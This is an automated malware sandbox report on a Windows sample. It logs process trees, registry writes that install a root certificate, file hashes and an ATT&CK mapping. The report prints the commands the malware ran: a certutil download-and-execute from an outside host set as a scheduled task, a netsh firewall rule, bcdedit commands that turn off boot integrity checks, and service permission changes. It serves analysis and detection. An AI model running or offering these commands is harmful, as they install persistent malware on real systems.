Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	patch.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.execsrss.exe

pid	process
752	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
1468	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
1632	csrss.exe
1632	csrss.exe
1632	csrss.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

464

pid	process
464

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.execsrss.exesc.exe

description	pid	process
Token: SeDebugPrivilege	752	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Token: SeImpersonatePrivilege	752	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Token: SeSystemEnvironmentPrivilege	1632	csrss.exe
Token: SeSecurityPrivilege	568	sc.exe
Token: SeSecurityPrivilege	568	sc.exe

Suspicious use of WriteProcessMemory 66 IoCs

Processes:

9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.execmd.exepatch.execsrss.exewindefender.execmd.exe

description	pid	process	target process
PID 1468 wrote to memory of 1148	1468	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe	cmd.exe
PID 1468 wrote to memory of 1148	1468	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe	cmd.exe
PID 1468 wrote to memory of 1148	1468	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe	cmd.exe
PID 1468 wrote to memory of 1148	1468	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe	cmd.exe
PID 1148 wrote to memory of 848	1148	cmd.exe	netsh.exe
PID 1148 wrote to memory of 848	1148	cmd.exe	netsh.exe
PID 1148 wrote to memory of 848	1148	cmd.exe	netsh.exe
PID 1468 wrote to memory of 1632	1468	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe	csrss.exe
PID 1468 wrote to memory of 1632	1468	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe	csrss.exe
PID 1468 wrote to memory of 1632	1468	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe	csrss.exe
PID 1468 wrote to memory of 1632	1468	9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe	csrss.exe
PID 316 wrote to memory of 1572	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1572	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1572	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1676	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1676	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1676	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 552	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 552	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 552	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1708	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1708	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1708	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1328	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1328	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1328	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1148	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1148	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1148	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 744	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 744	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 744	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1608	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1608	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1608	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 876	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 876	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 876	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 944	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 944	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 944	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1588	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1588	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1588	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 560	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 560	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 560	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1364	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1364	316	patch.exe	bcdedit.exe
PID 316 wrote to memory of 1364	316	patch.exe	bcdedit.exe
PID 1632 wrote to memory of 1712	1632	csrss.exe	bcdedit.exe
PID 1632 wrote to memory of 1712	1632	csrss.exe	bcdedit.exe
PID 1632 wrote to memory of 1712	1632	csrss.exe	bcdedit.exe
PID 1632 wrote to memory of 1712	1632	csrss.exe	bcdedit.exe
PID 1632 wrote to memory of 848	1632	csrss.exe	dsefix.exe
PID 1632 wrote to memory of 848	1632	csrss.exe	dsefix.exe
PID 1632 wrote to memory of 848	1632	csrss.exe	dsefix.exe
PID 1632 wrote to memory of 848	1632	csrss.exe	dsefix.exe
PID 1588 wrote to memory of 900	1588	windefender.exe	cmd.exe
PID 1588 wrote to memory of 900	1588	windefender.exe	cmd.exe
PID 1588 wrote to memory of 900	1588	windefender.exe	cmd.exe
PID 1588 wrote to memory of 900	1588	windefender.exe	cmd.exe
PID 900 wrote to memory of 568	900	cmd.exe	sc.exe
PID 900 wrote to memory of 568	900	cmd.exe	sc.exe

C:\Users\Admin\AppData\Local\Temp\9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
"C:\Users\Admin\AppData\Local\Temp\9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:752

C:\Users\Admin\AppData\Local\Temp\9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
"C:\Users\Admin\AppData\Local\Temp\9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe"
2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1468

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1148

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies service
- Modifies data under HKEY_USERS
PID:848

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1632

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1316

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:796

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:316

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:1572

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1676

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:552

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
5⤵
- Modifies boot configuration data using bcdedit
PID:1708

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:1328

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:1148

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
5⤵
- Modifies boot configuration data using bcdedit
PID:744

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
5⤵
- Modifies boot configuration data using bcdedit
PID:1608

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
5⤵
- Modifies boot configuration data using bcdedit
PID:876

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
5⤵
- Modifies boot configuration data using bcdedit
PID:944

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
5⤵
- Modifies boot configuration data using bcdedit
PID:1588

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
5⤵
- Modifies boot configuration data using bcdedit
PID:560

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
5⤵
- Modifies boot configuration data using bcdedit
PID:1364

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:1712

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
4⤵
- Executes dropped EXE
PID:848

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1588

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
5⤵
- Suspicious use of WriteProcessMemory
PID:900

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:568

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:1032

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Install Root Certificate

T1130

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
MD5
ec739beadc6a82a62f4a0c12e271372c

SHA1
e5f980ac2ec58b88062d9a01eacfd040a2690976

SHA256
9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc

SHA512
3d99c6b668e97e806eaf2f503186f70a4d9b4c287360e16d66238ff355a733246623cf0d573c912babf2685872de3d909da615010b90a0274b68843def8b1551

Download Submit
C:\Windows\windefender.exe
MD5
6512ae7c9f36206f6433f78296102419

SHA1
abd1312c5727ac2a64ae5add1706d47cd65386eb

SHA256
6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

SHA512
a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

Download Submit
C:\Windows\windefender.exe
MD5
6512ae7c9f36206f6433f78296102419

SHA1
abd1312c5727ac2a64ae5add1706d47cd65386eb

SHA256
6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

SHA512
a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

Download Submit
C:\Windows\windefender.exe
MD5
6512ae7c9f36206f6433f78296102419

SHA1
abd1312c5727ac2a64ae5add1706d47cd65386eb

SHA256
6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

SHA512
a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe
MD5
ec739beadc6a82a62f4a0c12e271372c

SHA1
e5f980ac2ec58b88062d9a01eacfd040a2690976

SHA256
9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc

SHA512
3d99c6b668e97e806eaf2f503186f70a4d9b4c287360e16d66238ff355a733246623cf0d573c912babf2685872de3d909da615010b90a0274b68843def8b1551

Download Submit
\Windows\rss\csrss.exe
MD5
ec739beadc6a82a62f4a0c12e271372c

SHA1
e5f980ac2ec58b88062d9a01eacfd040a2690976

SHA256
9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc

SHA512
3d99c6b668e97e806eaf2f503186f70a4d9b4c287360e16d66238ff355a733246623cf0d573c912babf2685872de3d909da615010b90a0274b68843def8b1551

Download Submit
memory/316-29-0x0000000002CC0000-0x0000000002CC1000-memory.dmp

Filesize
4KB

Download
memory/552-36-0x0000000000000000-mapping.dmp

Download
memory/560-45-0x0000000000000000-mapping.dmp

Download
memory/568-55-0x0000000000000000-mapping.dmp

Download
memory/744-40-0x0000000000000000-mapping.dmp

Download
memory/752-0-0x0000000002840000-0x0000000002BE9000-memory.dmp

Filesize
3.7MB

Download
memory/752-2-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download
memory/752-1-0x0000000002BF0000-0x0000000002C01000-memory.dmp

Filesize
68KB

Download
memory/848-12-0x0000000000000000-mapping.dmp

Download
memory/848-49-0x0000000000000000-mapping.dmp

Download
memory/876-42-0x0000000000000000-mapping.dmp

Download
memory/900-54-0x0000000000000000-mapping.dmp

Download
memory/944-43-0x0000000000000000-mapping.dmp

Download
memory/1148-39-0x0000000000000000-mapping.dmp

Download
memory/1148-11-0x0000000000000000-mapping.dmp

Download
memory/1328-38-0x0000000000000000-mapping.dmp

Download
memory/1364-46-0x0000000000000000-mapping.dmp

Download
memory/1468-8-0x0000000002560000-0x0000000002909000-memory.dmp

Filesize
3.7MB

Download
memory/1468-10-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download
memory/1468-9-0x0000000002910000-0x0000000002921000-memory.dmp

Filesize
68KB

Download
memory/1572-34-0x0000000000000000-mapping.dmp

Download
memory/1588-44-0x0000000000000000-mapping.dmp

Download
memory/1588-52-0x0000000000400000-0x0000000000897000-memory.dmp

Filesize
4.6MB

Download
memory/1608-41-0x0000000000000000-mapping.dmp

Download
memory/1628-27-0x000007FEF7790000-0x000007FEF7A0A000-memory.dmp

Filesize
2.5MB

Download
memory/1632-18-0x0000000002C80000-0x0000000002C91000-memory.dmp

Filesize
68KB

Download
memory/1632-17-0x00000000028D0000-0x0000000002C79000-memory.dmp

Filesize
3.7MB

Download
memory/1632-15-0x0000000000000000-mapping.dmp

Download
memory/1676-35-0x0000000000000000-mapping.dmp

Download
memory/1708-37-0x0000000000000000-mapping.dmp

Download
memory/1712-47-0x0000000000000000-mapping.dmp

Download